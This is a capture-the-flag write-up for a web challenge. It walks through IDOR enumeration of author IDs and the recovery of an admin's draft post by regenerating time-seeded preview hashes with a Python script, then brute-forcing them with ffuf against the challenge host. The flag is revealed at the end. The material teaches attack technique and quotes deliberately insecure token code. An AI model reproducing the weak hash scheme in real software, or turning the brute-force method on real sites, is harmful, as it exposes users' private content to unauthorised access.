under B0rn2PwnCTF team

Overview

Try to see the content of the secret note of the administator user.

(We have the website’s source code)

Idor exploitation

We can try to enumerate all author’s id to find the admin’s posts. Here, we used burp intruder with sniper as attack type and payload of numbers :

Generate time based hash of a post

It sounds good, we found the admin’s Secret blog post, but this last was indicated as draft and we could not access to the draft post of another user. In fact, the source code showed us the /post/<string:slug> endpoint does not allow users access to the posts’s draft that not belong to them.

@bp_routes.route("/post/<string:slug>", methods=["GET"])
def view_post(slug):
    post = Posts.query.filter(Posts.slug == slug).first()

    if not post:
        flash("This post does not exists.", "warning")
        return redirect(url_for('bp_routes.index')) 

    if post.draft and (not current_user.is_authenticated or post.author_id != current_user.id):
        flash("You cannot see draft of other users.", "warning")
        return redirect(url_for('bp_routes.index')) 

    author = Authors.query.filter_by(id=post.author_id).first()
    return render_template("pages/post.html", title="View a post", post=post, author=author)

However their is /post/preview/<string:hash_preview> allowing us to see a post’s draft in condition to have the post’s hash.

@bp_routes.route("/post/preview/<string:hash_preview>", methods=["GET"])
def preview_post(hash_preview):
    post = Posts.query.filter_by(hash_preview=hash_preview).first()

    if post:
        author = Authors.query.filter_by(id=post.author_id).first()
        return render_template("pages/post.html", title="Preview a post", post=post, author=author)

    flash("Unable to find the corresponding post.", "warning")
    return redirect(url_for('bp_routes.index'))

The hash is generated with the following method using post creation date’s timestamp :

from datetime import datetime
from random import seed, randbytes

def generate_hash(timestamp=None):
    """Generate hash for post preview."""
    if timestamp:
        seed(timestamp)
    else:
        seed(int(datetime.now().timestamp()))

    return randbytes(32).hex()

If we are in the author endpoint, the post datetime creation is displayed without second, but the page of a post displays datetime with second. So, you have to generate hashes with all second possible of 2023-05-13 02:53 (admin’s secret post).

Script generating hashes list :

from datetime import datetime, timedelta
from random import seed, randbytes

def generate_hash(timestamp=None):
    """Generate hash for post preview."""
    if timestamp:
        seed(timestamp)
    else:
        seed(int(datetime.now().timestamp()))

    return randbytes(32).hex()

start_time = datetime(2023, 5, 13, 2, 53) 
end_time = start_time + timedelta(minutes=1)

with open('hashes.txt', 'w') as file:
    current_time = start_time
    while current_time < end_time:
        timestamp = int(current_time.timestamp())
        hash_value = generate_hash(timestamp)
        file.write(f'{hash_value}\n')
        current_time += timedelta(seconds=1)

print("Hashes generated and saved to 'hashes.txt'.")

In my case, the hashes generated in my env did not work, then, I generated hashes in local website env through docker.

Hash brute force with ffuf :

ffuf -w hashes.txt -u http://dyn-02.heroctf.fr:14948/post/preview/FUZZ -fs 189

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.4.1-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://dyn-02.heroctf.fr:14948/post/preview/FUZZ
 :: Wordlist         : FUZZ: hashes.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Response size: 189
________________________________________________

20030b5d29001f7856c0e7e034e00b8b715d24237f67cf2ea6ec34faee3bb08b [Status: 200, Size: 4286, Words: 1061, Lines: 109, Duration: 161ms]
:: Progress: [61/61] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 0 ::

The admin’s secret post contains :

Well played ! You can now register users ! Here is the referral code: 83d99a0ac225079db31b44a2e58b19f0. Hero{pr3333vi333wwwws_5973791}

Flag : Hero{pr3333vi333wwwws_5973791}